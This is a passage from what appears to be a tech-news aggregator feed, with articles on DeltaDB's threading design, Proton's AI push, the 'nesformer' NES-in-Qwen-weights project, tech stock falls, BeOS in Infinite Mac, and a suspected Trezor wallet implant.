You can use DeltaDB today via the CLI or using plugins that integrate with third-party agentic harnesses. The CLI already runs in its own process, so interacting with SQLite directly is totally fine there.

But our company’s history is one of vertical integration and fixing problems end-to-end. Controlling the whole stack lets us design the UX we want rather than working around someone else’s idea of how you’re supposed to interact with an agent. That’s why we built Delta , our first-party agentic harness. I believe it’s the state of the art for agentic coding, and it shares many of the underpinnings that make Zed as fast as it is.

In a native UI, the situation is very different: you need to render at the display’s refresh rate, so performing expensive operations on the main thread (such as blocking I/O) would blow right past our tight 8 ms frame budget.

The good news is that the API showcased above is actually designed to be interacted with from the main thread. We achieved this by maintaining an Arc -allocated version of the Snapshot that gets created during the initial load, which is a moment where we can afford an asynchronous pause to load from the database. From then on, the main thread mints deltas synchronously as it manipulates the replicated primitives. Those deltas are then shipped asynchronously to a background thread alongside a clone of the snapshot. Remember that cloning a snapshot is cheap because we only use copy-on-write data structures.

In the background, we keep one dedicated writer thread and between two and four reader threads, depending on the machine’s cores. Once the foreground publishes the deltas it just produced, the writer thread saves them durably in SQLite and applies them to a SQLite-allocated version of the snapshot, whose nodes live in the nodes table we described earlier. As soon as that transaction commits, a reader thread loads the new deltas and uploads them to the server, without waiting for the writer.

If remote deltas have arrived in the meantime, we apply them to both the background snapshot and the last foreground snapshot we received from the main thread. The updated Arc -allocated snapshot is then shipped back to the main thread.

Note how the foreground never blocks on any of this and is free to keep minting new deltas and mutating its own version of the snapshot. When that happens, we can take the snapshot the background just produced and reapply the concurrent foreground deltas on top.

This system only works because the whole state is represented as one big CRDT, so we can apply deltas in any valid causal order, essentially treating the foreground and background threads as two concurrent clients manipulating the same CRDT.

Four bands show a client's main thread, its writer thread next to SQLite, two reader threads, and the server. The state is a card with a title, which you type, and a note, which your teammate types. You type "Fix". The main thread applies each key to its snapshot at once and queues the delta, and a frame meter under the main thread stays green. The main thread then sends the queued deltas down to the writer with a clone of the snapshot, which is cheap because the clone shares every node with it. The writer saves the deltas to SQLite. As soon as that transaction commits, a reader thread loads them and uploads them to the server, while the writer compares the clone with storage. The clone comes back and takes the snapshot's place, and the old snapshot is freed later, off the main thread. Your teammate types "iOS only". Their deltas reach the server and then your writer, which saves them, but your snapshot doesn't have them yet. The next clone goes down, and the writer finds the eight deltas it lacks and applies them to the clone. Meanwhile you type " login" on the main thread, and the frame meter stays green. The clone comes back with the note but without " login", so the main thread replays those keys onto it and swaps it in. Under the main thread, a list shows the reads the app asks for. Each request leaves its row for a reader thread, and its result comes back to the row, while the main thread carries on. Every save overlaps a read, and a reader serves each at once from the last commit, without the save in progress: an agent reads src/auth.rs while "Fix" is saved, so both readers work at once; a review diffs the thread while your teammate's deltas are saved; and you open an older version while " login" is saved. Afterwards a reader uploads " login". On the main thread replays the same story with no other threads: the clone never leaves, the snapshot freezes while it saves, compares, and applies, typed keys pile up waiting, and the frame meter fills with dropped frames. Flood it has your teammate and an agent type in bursts while you type " redirect", and the agent and a review keep reading: deltas queue up waiting for the writer, both readers stay busy, yet the snapshot keeps up with your typing and no frames drop, unless the work runs on the main thread, where every read runs on the main thread too and the snapshot stalls while it does. Main thread 0 frames dropped freed later Writer thread idle Reader threads idle reader 1 reader 2 Server Durable Object unsaved deltas SQLite history F i x i O S · o n l y · l o g i n F i x i O S · o n l y · l o g i n your teammate's client note i O S o n l y old snapshot title note F i x l o g i n i O S o n l y snapshot title note F i x l o g i n i O S o n l y reads the app asked for you open an older version ✓ rebuilt

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Conclusion

This post mostly covered how DeltaDB works on the client. There are many more things we’ve been working on, and some of them are about to ship.

For example, we can leverage the fine-grained history we capture to track a piece of code across files and versions, all the way back to the conversation that produced it. If you’re familiar with anchors in Zed , the same idea lets us assign an identity to every character and follow it as code evolves. Think of it like a supercharged, per-character git blame .

A lot of work also went into the server side to ensure clients can load a thread without replaying millions of deltas before seeing pixels on screen. Similarly, we made sure a single Durable Object can handle bursts of concurrent writes. Both will be the subject of a future post.

Rationale for filtering LLM usage links as off-topic

Lobsters
lobste.rs
2026-10-30 12:49:53
Hi, I've been following recent moderation changes and the discussion around them. I understand that the vibecoding tag was conflating multiple meanings and uses, and how moving to the building-LLM-tooling makes it more precise for that subset of the discussion. I also see how people may be tired of ...
Original Article

Hi, I've been following recent moderation changes and the discussion around them. I understand that the vibecoding tag was conflating multiple meanings and uses, and how moving to the building-LLM-tooling makes it more precise for that subset of the discussion. I also see how people may be tired of the LLM discussion and want to completely filter out anything LLM related.

What I don't quite understand and I'm not sure if it was clearly explained is why stories about "(not) using LLMs" are now considered completely off-topic in this site. There have been plenty of useful discussions around practices and figuring out how to adjust for professional programming in the presence of LLMs over the last few months, and the "flavor" of those discussions is very different from that found in other communities. Also, they seem to still be reasonably encompassed by the current "topicality" guidelines ("Will this improve the reader's next program", etc).

Considering they could still be filtered by anyone not wanting to see anything LLM-related, what is the rationale for not having something like llm-usage as a tag and keep those discussions on the site?

Proton’s CEO Cancels AI ‘Re-Interviews’

403 Media
www.404media.co
2026-10-30 12:40:39
The move came after 404 Media published an investigation into how Proton CEO Andy Yen was aggressively pushing AI across Proton despite security concerns and the culture of fear he has created....
Original Article

On Friday, Andy Yen, the CEO of Proton, cancelled a series of nearly company-wide ‘re-interviews’ that would have forced employees to explain how they are using AI, with the clear intention that they may be fired if not using it enough in the eyes of Proton leadership, according to six current Proton employees and audio of an around two hour all-hands meeting obtained by 404 Media.

The move came after 404 Media published an investigation on Thursday, which showed how Yen was aggressively pushing AI across Proton, in some cases despite security concerns from employees. In one exchange, an employee in the company’s security Slack channel urged Proton to at least take a few days to pentest newly written code before pushing it live. “That’s bullshit and loser thinking. Of course it’s possible to be fast and secure,” Yen wrote in the channel at the end of August. “Stop thinking always of how to be slower, and focus more on how to be faster.” Yen added, “stop lovingly handcrafting all our code and use AI more.”

The re-interview cancellations likely don’t address the concerns of many Proton users, who are more focused on Proton’s deprioritization of security; many Proton users have blasted the company’s leadership on social media over the last 24 hours and explicitly called for Yen to resign.

The investigation was based on conversations with eight current and one former Proton employees, Slack chats, meeting audio, and an AI manifesto written by the company’s CTO Bart Butler. It painted a picture of Proton that is very different to the public’s perception of a company carefully protecting privacy. Instead, Proton is barreling ahead with AI in large part to achieve more annual revenue. The investigation also found a culture of fear across Proton, where employees have genuine concerns about security or being asked to develop security-focused products with AI, but feel unable to voice them because Yen mocks or insults employees in front of everyone else.

“I don’t think he will change anything, and I think the only reason we had this meeting is because he has a rebellion on his hands,” one employee told 404 Media after the all-hands meeting on Friday.

Near the start of the meeting, Yen said, “I want to acknowledge myself, personally, that there was a communication failure on my part and there are many things that probably could and should have been communicated differently, and this is something that I’ll have to reflect on and improve over time. So I will do that.”

“So what does that mean going forward? Going forward, I'm still going to push,” he added.

Yen said leadership gathered in the last couple of days to talk about the re-interviews, and spoke to the Proton board too. “They’re closely monitoring the situation,” Yen said. (Proton is owned by the Proton Foundation, whose board of trustees includes Yen, Sir Tim Berners Lee, Prof. Carissa Veliz, Dingchao Lu, and Antonio Gambardella.)

After those discussions with leadership and the board, “We’ve decided to actually cancel the re-interviews,” Yen said. “Why? Well, I think actually in a, let’s say, unintentional way, they have actually already served their purpose.” As in, employees are now talking and learning about AI.

💡

Do you know anything else about Proton? I would love to hear from you. Using a non-work device, you can message me securely on Signal at joseph.404 or send me an email at joseph@404media.co.

Yen also mentioned “org changes,” and said that part of this is “redistributing talent across teams.” He said that the reorganization will happen next month, “but there will be no loss of jobs from AI.”

Later in the call, Butler said Yen “needs to, and he has committed to, doing better” regarding how he communicates with his employees. “Using AI effectively and pragmatically does not mean that we’ve given up on security, or good architecture, or sound software engineering principles,” he added.

“We fucked up, we know we fucked up,” Butler later said in response to an employee’s comments in the meeting.

“Your old job is gone,” Butler’s AI manifesto, posted to Slack, told engineers, 404 Media reported on Thursday. He wrote that not embracing AI posed an “existential threat to the success of the mission itself.”

Reactions to the re-interview cancellations were split across the Proton employees 404 Media spoke to. One said, “Some are happy as it’s progress. Others believe that this won’t change anything because there isn’t any consequence for Andy [Yen].” The employee added they “would have preferred real accountability from the leadership team.” They said they felt not much could have happened due to Yen having the majority of Proton’s shares.

Another employee said, after Proton canceled the re-interviews, “They said in the next breath they want to continue pushing AI and that the things that were to be measured in the re-interviews would become a component of the performance reviews.”

“They have said clearly the direction had not changed. As a Proton user that doesn’t reassure me,” the employee said. “As an employee, the re-interviews weren’t cancelled until this became public despite concerns raised by many of us. I think it goes beyond communication issues and growing pains.”

“Right now, everything seems consistent with it being damage control,” they said.

Another employee said they were “mostly happy with how this was addressed including by Andy [Yen].”

Proton did not respond to a request for comment.

After 404 Media published the investigation on Thursday, Yen took to Reddit . Users downvoted his response more than 1,200 times. Many Proton users on social media said they were cancelling their paid Proton plans.

About the author

Joseph is an award-winning investigative journalist focused on generating impact. His work has triggered hundreds of millions of dollars worth of fines, shut down tech companies, and much more.

Joseph Cox

A Working Nintendo in ~1GB of Qwen Weights

Hacker News
github.com
2026-10-30 12:40:22
Comments...
Original Article

An NES CPU compiled into the weights of a stock Qwen3.5 model.

The NES's 6502 CPU (the core of its 2A03 chip), its 2 KB of work RAM, and a cartridge's program ROM run inside a standard Qwen3_5ForCausalLM checkpoint. Nobody trained these weights; a compiler computed every one. When you play a game, the model predicts the CPU's execution log one token at a time. A small host program plays the rest of the console around it: it draws the picture, reads the controller, and fires the vblank interrupt.

nesformer builds on Qwenputer by Divyansh Agrawal , which compiled a CHIP-8 and then a RISC-V CPU into Qwen3.5-4B. It reuses Qwenputer's compiler and its central trick: the model's Gated DeltaNet state is the machine's memory.

Super Mario Bros. (World 1-1) Full Game by Doug Fraker (title screen and first level)
Super Mario Bros., played by the weights Full Game, played by the weights

Every CPU token in these runs came from the model. For the bundled test games, every frame also matches a conventional 6502 emulator's output exactly (see How it was checked ).

Quick start

1. Folder layout

Unzip nesformer.zip and nesformer-weights.zip into the same folder. The weights go next to the nesformer/ package, not inside it:

nesformer/              <- run commands from here
├── nesformer/          <- the Python package
├── chipformer/         <- Qwenputer's compiler
├── roms/               <- test ROMs (put your own here too)
├── examples/           <- sample GIFs and frame sheets
├── tests/
├── LICENSE
├── LICENSE.chipformer
├── README.md
├── pyproject.toml
└── weights/            <- from nesformer-weights.zip
    ├── config.json
    ├── generation_config.json
    ├── model.safetensors
    ├── nesformer.json
    └── SHA256SUMS

The CLI looks for weights/ beside the nesformer/ package. To keep the weights elsewhere, pass --weights /path/to/weights to run , check or trace , or give the path to info .

To confirm the weights unzipped correctly, run shasum -a 256 -c weights/SHA256SUMS from the top folder.

2. Install

You need Python 3.11 or newer.

python3 -m venv .venv
source .venv/bin/activate          # Windows: .venv\Scripts\activate
pip install numpy scipy numba pillow

3. Play a game

python -m nesformer run roms/thwaite.nes --frames 600 --show \
  --buttons "start@90-95+200-205,a@230-233+250-253+270-273+290-293+310-313+330-333+350-353+370-373+390-393+410-413+430-433+450-453+470-473+490-493+510-513+530-533+550-553+570-573+590-593"

--show draws each frame in your terminal as the model generates it. When the run ends, the CLI saves an animated GIF named after the ROM (here thwaite.gif ) in the current folder.

Expect it to be slow. The first run spends about 20 seconds compiling the engine with numba. After that, a frame takes 1–6 seconds, so 600 frames (10 seconds of NES time) take around 25 minutes.

Playing your own ROMs

Point run at any .nes file that uses the NROM board (iNES mapper 0), such as Super Mario Bros., Donkey Kong or Excitebike. You supply the ROM; nesformer only ships the three freely licensed test ROMs in roms/ .

python -m nesformer run roms/smb.nes --frames 600 --show \
  --buttons "start@60-65,right@200-600,a@250-265+300-315+360-375+420-435+480-495+540-555"

That script starts the game, then walks Mario right and jumps about once a second. The CLI loads the ROM into the model's state at startup, so the same weights run any NROM game without a rebuild. Games on other boards stop with a message: see Limitations .

Controller scripts

--buttons takes a comma-separated list of entries. Each entry names one or more buttons joined by + , then @ , then one or more frame ranges joined by + :

start@60-65                 press Start during frames 60 to 65
right@200-600               hold Right from frame 200 to frame 600
a@250-265+300-315           press A twice
right+b@200-600             hold Right and B together (run, in Super Mario Bros.)

The buttons are a , b , select , start , up , down , left and right . Frames count from power-on at 60 per second, so frame 600 is 10 seconds in. Games ignore input on screens where you can't move, so holding a button a little early does no harm. In Super Mario Bros., a longer A press makes a higher jump.

Commands

Command What it does
python -m nesformer run ROM Play a ROM on the weights and save a GIF
python -m nesformer check ROM Run the weights and the reference CPU side by side; stop at the first difference
python -m nesformer trace ROM Print the model's token stream (default 40 tokens)
python -m nesformer build Compile the circuit and write weights/ (about 10 seconds)
python -m nesformer info Describe the checkpoint

Options for run :

Option Default Meaning
--frames N 120 Stop after N frames
--buttons SCRIPT none Controller input (see above)
--show off Draw frames in the terminal (needs 24-bit color, e.g. iTerm2 or Windows Terminal)
--gif PATH ROM name Where to save the animated GIF
--png DIR off Save each kept frame as a PNG in DIR. With --png alone, no GIF is saved. Add --gif to get both.
--every N 1 Keep every N-th frame
--scale N 2 Enlarge saved frames N times
--engine fast fast (numba), numpy , or hf (stock transformers; needs torch, ~10 tokens/s)
--no-skip off Run every iteration of idle wait loops (slower; identical frames)
--max-tokens N none Stop after N tokens
--trace FILE none Save the token ids

run , check and trace all accept --weights , --engine , --buttons and --no-skip . check --tokens N sets how far to compare (default 50,000). trace --tokens N sets how many tokens to print (default 40). build --out DIR writes the checkpoint somewhere other than weights/ .

How it works

What's in the weights, and what isn't

In the model (weights + DeltaNet state) In the host ( nesformer/host.py )
The 6502 core: all 151 official opcodes, every addressing mode, flags, stack, BRK and NMI entry The PPU: a scanline renderer and the palette
2 KB of work RAM Controllers; APU registers (written, otherwise ignored)
32 KB of PRG-ROM, stored twice: one copy for instruction fetch, one for data reads NMI timing at vblank, injected as an NMI token
OAM DMA reads (the 256 bytes appear as DM tokens) Answers to I/O reads, injected as IN tokens

This split follows Qwenputer's CHIP-8 build, whose host injects timer ticks and draws the display from the trace. The host never sees the CPU's registers or RAM except through the trace.

The memory trick works like this. Each DeltaNet head keeps a 128 × 128 state matrix that the delta rule updates at every token. With the gate held open and a one-hot key, an update overwrites exactly one row of that matrix, and a one-hot query reads it back. So every row is a memory cell, and the cartridge, RAM and registers all live in rows.

The checkpoint

weights/ is an ordinary Hugging Face folder. It loads with Qwen3_5ForCausalLM.from_pretrained and needs no custom code.

Architecture Qwen3_5ForCausalLM , with Qwen3.5-4B's DeltaNet head shapes (16 key heads, 32 value heads, dim 128) and MLP width (9,216)
Layers 7 Gated DeltaNet layers (the circuit), plus 1 all-zero attention layer that Hugging Face's cache needs
Hidden size 768
Vocabulary 263,808 tokens
Parameters 466.6M in bf16 (933 MB), of which 9.3M are nonzero , so the weights zip to 3.3 MB

nesformer.json records which layer and head holds each part of the machine. A run writes the cartridge, registers and RAM into those DeltaNet states, then decodes greedily.

Layer plan

Layer Attention (state) MLP
1 PC anchor; instruction counters; A, X, Y, SP; flags N V Z C I D; pointer latches; NMI flag counter thermometers; SP ± 1; LO + Y
2 — PC = anchor + bytes executed since; PC + 1, PC + 2
3 PRG fetch: opcode and two operand bytes at the PC opcode decode; operand bits; indexed sums; branch test and target
4 — effective address, by addressing mode and record stage; the byte a push stores
5 RAM and PRG data reads at the effective address operand; ADC/SBC adder, compares, BIT; address decode
6 — result byte, carry, overflow, flags, jump targets
7 — the next token

The trace

Each instruction becomes a record, and the record's last token commits it. As in Qwenputer's RISC-V core, the PC is implied rather than written: each final token carries its instruction's length, three DeltaNet counters tally the instructions of each length since the last jump, and the PC is the jump target plus that offset. Excerpts from Full Game:

SEI            P(000100 px0 L1)
LDX #$40       X($40 c0 v0 px0 L2)
STX $4017      IOW($4017=$40 L3)
TXS            S($FF L1)
BIT $2002      IOR($2002) IN($00) P(000110 px0 L3)       <- the host injects IN
BPL $8017      J($8017)
JSR $8279      PSH($FE) PSH($FD) J($8279)                 <- the return address is pushed in-circuit
RTS            PUL($FC) LO($7B) PUL($FD) J($827C)
STA ($72),Y    LO($08) HI($03) ST($00 a7=0 L2)            <- pointer bytes latched, then the store
STA $4014      IOW($4014=$02 L0) DM(0:$FF) … DM(255:$00) NT(L3)   <- OAM DMA

Most instructions take a single token; real game code averages 1.1–1.3 tokens per instruction. nesformer/spec.py documents every token family.

How it was checked

  • The reference CPU ( nesformer/cpu.py ) matches nestest's golden log for 3,348 instructions, and the py65 emulator on 5.7 million instructions of game code.

  • The exact circuit , run in Qwenputer's evaluator with its bf16 exactness checks, predicts every reference token: all of nestest plus 283,610 positions of two games' boot sequences.

  • The checkpoint in stock transformers (bf16, CPU) predicts 2,651 positions of nestest and Full Game with no mismatches.

  • The weights, free-running , generate traces identical to the reference CPU's:

    Run Tokens Frames NES time Result
    nestest (official opcodes) 4,586 — — identical, ending in the expected HALT
    Thwaite, check 700,000 271 4.5 s identical trace and frames
    Thwaite, run 1,916,527 600 10.0 s all 300 saved frames match
    Full Game, run 2,645,885 420 7.0 s all 210 saved frames match
  • The idle-loop skip changes nothing visible: frames and I/O writes, cycle timestamps included, match a run without it.

Speed

The default engine computes Qwen3.5's forward pass from model.safetensors , compiled with numba and skipping the all-zero blocks. It ran at about 1,650 tokens/s on one CPU core of the machine it was built on. The plain numpy engine does about 210, and stock transformers about 10. A real NES would need about 700,000 tokens per second.

Games spend most of each frame in a loop that waits for vblank. When the host sees a loop body repeat exactly, with no RAM or I/O writes, it advances the clock to just before the next PPU event, and the remaining iterations still run. That cuts the token count by 2.6× to 4.2×. Overall, nesformer runs 150–290× slower than the real console.

Limitations

  • NROM cartridges only (iNES mapper 0). The CPU can address only 32 KB of program ROM at a time. Bigger games carry a bank-switching chip (a mapper , such as MMC1 or MMC3) that swaps which part of the ROM the CPU sees. nesformer's ROM reads happen inside the model, from a fixed 32 KB table, so it can't follow a bank switch yet. Supporting a mapper means storing the whole ROM in the state, keeping the bank registers there too, and adding one stage that turns each CPU address into a ROM address.
  • Official opcodes only. An unofficial opcode emits HALT .
  • Code must run from the cartridge ROM. A jump into RAM emits HALT .
  • No IRQs (APU frame IRQ, DMC). BRK and NMI work.
  • Read-modify-write instructions on I/O registers don't produce an I/O write, and $4020–$7FFF reads as 0 (no PRG-RAM).
  • The PPU and APU aren't in the weights. The PPU renders one scanline at a time, so mid-scanline effects aren't reproduced. Sprite-0 hit and sprite overflow are approximate, and there's no sound.

Tests

pip install pytest py65
python -m pytest -q tests

The tests take a few minutes. They check the reference CPU against nestest's log, the circuit against the reference, the weights free-running against the reference, and the idle-loop skip.

Running the checkpoint in stock transformers

pip install "torch>=2.6" "transformers>=5.22"
python -m nesformer run roms/thwaite.nes --frames 3 --engine hf

nesformer/hfcheck.py shows the whole procedure: load the checkpoint, decode one padding token, write the machine's state into the cache's DeltaNet states, then feed tokens one at a time.

Files

Path Contents
nesformer/spec.py token families and records
nesformer/cpu.py the reference 6502 that writes the trace
nesformer/host.py everything around the CPU: PPU, controllers, NMI timing, cycle counting, idle skip
nesformer/core.py the circuit and the state snapshot
nesformer/weights.py the emitter that turns the circuit into a Qwen3_5ForCausalLM checkpoint
nesformer/engine.py , fastengine.py run the weights (numpy / numba)
nesformer/hfcheck.py run the weights in stock transformers
nesformer/run.py , check.py , cli.py , __main__.py drivers, the teacher-forced check, the CLI
chipformer/ Qwenputer's q35 compiler ( q35/ emitter and primitives, dsl/ graph)
weights/ the compiled checkpoint and its SHA-256 checksum
roms/ test ROMs; roms/SOURCES.md lists their authors and licenses
examples/ GIFs and frame sheets from the runs; demo.gif is the Super Mario Bros. run shown at the top
tests/test_nesformer.py the test suite

Credits

  • Qwenputer and its chipformer compiler: MIT, © 2026 Divyansh Agrawal ( LICENSE.chipformer ). That license also covers the code adapted from Qwenputer in nesformer/core.py and nesformer/weights.py . Its last paragraph refers to Qwenputer's CHIP-8 ROMs, which this repository does not include.
  • Test ROMs: nestest by Kevin Horton; Full Game by Doug Fraker (MIT); Thwaite by Damian Yerrick (GPL-3.0, source at pinobatch/thwaite-nes ).

License

nesformer is released under the MIT License (see LICENSE ). The ROMs in roms/ keep their own licenses, listed in roms/SOURCES.md .

US tech stocks see sharp falls over AI cost fears

Hacker News
www.bbc.co.uk
2026-10-30 12:13:02
Comments...
Original Article

US stocks have continued to slide as concerns continue to intensify over the increasing costs of the artificial intelligence (AI) build out.

Shares in Intel continued their overnight slide into early trading on Friday, falling as much as 30% after the chip maker warned of a weaker computer market even as it plans to increase spending on AI.

Amazon shares fell as far as 6% before recovering after its reported earnings on Thursday evening fell short of investors' expectations.

The tech-heavy Nasdaq stock exchange opened on Friday at its lowest level in more than two months, down 2.5%, as other tech stocks including Reddit and Roblox continued to fall.

The losses follow the value of Google owner Alphabet plunging by more than $500bn on Thursday after it revealed its own AI summaries were affecting its core search advertising revenue.

Alphabet stock continued to fall in early trading, down 1% after Thursday's massive slide.

The bigger losses on Friday were elsewhere, with Intel on track to lose more than $130bn in value after its earnings update rattled investors.

On Thursday, Intel's finance chief David Zinsner said the firm did not expect to bring in more cash than it spent this year, and forecast lower-than-expected revenue for its fourth quarter.

"Looking ahead, we see the PC slowdown continuing at least through the first half of next year," he said in the chip maker's third quarter earnings report.

In the earnings call, he said the firm had significantly ramped up investment in equipment in the third quarter and expected that to be "even more significant" in the following three months.

Amazon on Thursday revealed the company was also spending more cash that it was making, and that spending had increased six-fold over the span of three months.

Shares in Amazon recovered slightly from the overnight fall but were still down about 1.6% in Friday trading.

Reddit stock was down by 26%, after the social media platform revealed weaker-than-expected daily user figures and warned that Google's growing AI-driven search was hurting referral traffic.

Stock in online game platform Roblox also fell, down by nearly 20%, as its daily active user numbers dropped.

Several major tech firms have reported earnings this week, including Microsoft, and analysts said there were questions about the payout from the huge investments in AI.

Chris Low, from investment management firm FHN Financial, said the bulk of what was happening in the stock market was in reaction to some of the biggest tech players such as Amazon and Google.

He told Reuters the companies were "showing some pretty significant growing pains as they aggressively pursue the AI build-out".

"The thinking is that these signs suggest that the entire sector is going to slow down."

Infinite Mac: BeOS

Lobsters
blog.persistent.info
2026-10-30 12:06:56
Comments...
Original Article

tl;dr: You can now run many BeOS versions in the browser at Infinite Mac , my site where you can experience the Macintosh Cinematic Universe from 1984 to 2005. The installs are full peers to their Mac cousins: you can boot them instantly (large disks are streamed in), play around with pre-installed software from Infinite HD, insert CD-ROMs from the Internet Archive, and save your work on the “Saved HD” drive.

BeOS was a multimedia-focused, multi-tasking and multi-threaded OS that was eventually ported to the Power Macintoshes of the mid-90s. It impressed many in the Mac community, including Apple itself, who considered acquiring Be, the company that had created it. If you’ve been following the saga of Apple’s search for a next-generation operating system, this lets you see what the road not taken was like.

BeOS R5 running inside Infinite Mac, showing GL Teapot, Mandelbrot, Gobe Productive, Terminal, image viewer and CPU monitor.

Getting BeOS Running

After the last somewhat involved (though still satisfying) project on Infinite Mac, I was looking for a quicker win. BeOS had been on my radar for a while , and (unlike A/UX) I had a personal connection to it: I remember spotting a BeBox in Akihabara, making my Mac cosplay as it with BeView , and eventually dual-booting BeOS on my Power Macintosh 8500. DingusPPC, an emulator I had already integrated , was making good progress on running BeOS, so it seemed like adding it to the site would be mostly a matter of preparing some additional disk images.

Initially it appeared to be as straightforward as I had hoped; I added a Power Macintosh 7300 configuration (one of the Power Macs that was officially supported ), found an install CD , made a disk image , and was up and running . But as I used it more and started to install additional versions, I began to find a lot of small bugs and edge cases:

  • The BeOS boot loader thought that all modifier keys were being held down due to a bug in the ADB emulation ; this made it present the (ugly, PC BIOS-like) partition choice screen every time.
  • When changing the screen depth, there are two hardware components that need to be notified: the video controller and the digital-to-analog converter. DingusPPC had been accidentally relying on the order that Mac OS sent these notifications in; BeOS happened to make the opposite choice and would end up with a corrupted display.
  • Early versions of BeOS did video memory updates in little-endian mode 1 ; DingusPPC was missing support for that hardware capability.
  • Later versions of BeOS could mount HFS partitions, but they were having trouble with the volumes that I generated via the machfs Python library. It turned out that BeOS was (correctly) stricter than Mac OS about how some data structures should be populated.
  • And so on – most of the commits that I upstreamed to DingusPPC over the past month were in a quest for better BeOS compatibility.

Infinite Mac emulating BeOS R5 emulating System 7.6.1 running Speedometer
The best of both worlds?

SheepShaver , a Power Macintosh emulator is still around today (and that Infinite Mac also embeds ), originated on BeOS. Mostly for the fun of another layer of inception/emulation, I wanted to make sure that it worked too. As it turned out, it also required a compatibility fix – it relied on an edge case of how the ROM is mapped to physical memory addresses that DingusPPC did not accurately model.

There is a pattern to most of these bug fixes: DingusPPC (and Infinite Mac) have been mostly focused on running Mac OS, and thus accidentally became dependent on its quirks or implementation choices. Adding an independently developed operating system to the mix exercised new paths, and ended up improving the accuracy of the emulated hardware. To be clear, DingusPPC was pretty close out of the box; kudos to its maintainers . I believe that, with this work, it’s the only emulator 2 that can run PowerPC versions of BeOS. I’m also hopeful that this will help with bringing up alternate operating systems like MkLinux (which I also have memories of) and Rhapsody .

Infinite Mac custom instance dialog with a BeOS control appearance.

On the Infinite Mac side, there were obvious changes like a “BeOS” appearance for my custom controls and collecting software for the library. I also needed to overlay some dynamically generated content on the disk to get the OS to preselect a screen resolution that matches the browser window’s (similar to what was done for A/UX ). An AI agent (still Codex for me) was once again helpful for this type of fiddly reverse-engineering task: it’s one thing to observe that the OS stores a file on disk with the screen size; it’s another to be able to reproduce all its nuances, especially as the format changed with later releases.

Developer Release 8.2 , the initial BeOS version for Power Macs, had a time bomb that kept it from booting after April 1, 1997. This was not just to create a sense of urgency; it shipped with a licensed font renderer that Be could not distribute indefinitely. DR8.3 addressed this , but to make that notable first version bootable, I did end up relying on the custom date support to hardcode a working date when choosing that disk.

BeOS Impressions

Though I did kick the tires of BeOS back when it was current, I don’t recall using it enough to form any opinions beyond “this is fast; I miss all my third-party software.” About This Particular Macintosh does have contemporary coverage, including Be’s first and second appearances at Macworld Expo Boston, and reviews of R3 and R4.5 ; they make for interesting reading. This video released by Be itself also has a walkthrough of what they considered its strengths.

Looking at it with 2026 eyes, I am still struck by its speed – it’s fast to boot and to use, especially when compared with its contemporary Mac OS releases that do so much less (e.g. live window dragging did not appear until Mac OS X). The POSIX subsystem and the Unix-like shell also feel modern (unlike A/UX’s) – I had no trouble using the terminal to poke around. There’s also plenty of innovation, though some of it ( BFS with its attributes and live queries) is more interesting than the rest ( replicants are a precursor to widgets, but I couldn’t think of a use for them).

It also feels like a developer-focused and under-construction system: many of the included apps are technology demos (though who doesn’t love a Utah teapot), while a contemporary Be homepage links directly to the developer release notes and discusses CodeWarrior releases and access to the bug tracker. The unfinished nature extends to third-party software too – I stumbled across some BeOS software on this Amiga magazine CD , and most of it had a “version 0.1” feel, either literally or figuratively . To be fair, I did find some more fleshed-out software, for example, Gobe Productive from the former ClarisWorks team. This and other software is on Infinite HD if you’d like to try it out (preferably in later OS versions ).

The interface seemed novel at the time, though I wonder how it would have held up 3 . The distinctive tabbed window titles look neat, but they have a reduced draggable area, so I’d have to think harder every time I wanted to move a window. And using a hand as the default cursor makes clicking feel less precise than a traditional arrow (just which of the pixels on the “finger” is the hotspot?). Other parts of the UI feel like a not-fully-coherent Windows/Mac hybrid, with a Deskbar that can emulate a Start menu 4 , Alt key accelerators on menu items, but also spring-loaded folders and a spatial Finder Tracker.

Speaking of the Tracker, I had not realized that Be had open-sourced it (and even incorporated changes from the open-source version). This was around the time that Be pivoted away to internet appliances – there’s no need to invest engineering resources in a file manager if all that’s exposed is one full-screen browser app. This interview with the Tracker developer has more of the backstory.

OPENSTEP 4.0 and BeOS DR8.2, side-by-side in Infinite Mac's disk browser'
Do your own bake-off : NeXT vs. Be

NeXTStep , by comparison, feels more mature. It had gone through some similar churn (proprietary hardware to off-the-shelf PCs, company strategy shifts), but, perhaps because it had more time, it handled things a bit more gracefully. For example, NeXT supported “fat” binaries that could run on 68K, Intel, PA-RISC and other architectures. On BeOS they had to be separate executables, making the user choose which to run and complicating distribution (this made it harder for me to find software to include in Infinite HD). Worse yet, you also had to have parallel disk partitions on CD-ROMs: BFS used the host endianness, so disks written by a PowerPC install could not be read by an Intel one, or vice versa. But my pro-NeXT bias may be due to knowing which OS Apple ended up picking.

Other Site Improvements

It’s only been a short while since the last update, but I did squeeze in a couple of quality-of-life improvements. You can now take screenshots and record videos (with sound) of the emulated machine’s screen. This gives you a high-fidelity way to capture image content, since it’s a direct dump of what would have been shown on the screen.

Infinite Mac CD-ROM drawer showing a lot of system CDs.

I also expanded the collection of operating system CD-ROMs with items like the Rhapsody and Mac OS X developer previews. While they’re aspirational for now (DingusPPC can’t run them yet), they do satisfy my completionist tendencies. These CDs are mirrored to and served from my own Cloudflare R2 bucket – the Internet Archive is an incredible resource (you can donate to them), but streaming from it has been increasingly flaky. I don’t want to add to the problem, and thanks to my sponsors , I can afford to serve a few gigabytes .

As for what’s next, with this alternate Mac timeline covered, it may be time to explore a prequel .

Trezor warns of suspected crypto-theft implant in hardware wallet

Bleeping Computer
www.bleepingcomputer.com
2026-10-30 11:58:20
Hardware wallet device maker Trezor has received credible reports about a suspected hardware crypto-theft implant in a Trezor Safe 5 sold by its reseller CryptoBilis in Southeast Asia. [...]...
Original Article

Trezor

Hardware wallet device maker Trezor has received credible reports about a suspected hardware crypto-theft implant in a Trezor Safe 5 sold by its reseller CryptoBilis in Southeast Asia.

Although the company has not yet received the device to examine it and confirm whether there is a malicious implant, it has warned potentially affected users to move their private keys and digital assets to known safe wallets.

Trezor wallets are physical devices that store cryptocurrency private keys and authorize transactions. Safe 5 is one of its latest models and is currently available for purchase from the official store.

According to Trezor, the concerns arose after it received a report from an Indonesian user who purchased a Safe 5 device from CryptoBilis through Tokopedia in August 2026.

The user opened it and found an extra circuit board between the wallet's main board and screen, equipped with a cellular module and antenna.

Based on unconfirmed information supplied by that customer, the implant appears capable of reading information displayed on the screen, including the wallet recovery phrase, and transmitting it over a mobile network when plugged in.

CryptoBilis is the same retailer implicated in a Ledger implant incident that unfolded earlier this month, and the implants on the two devices appear to be similar in form and function.

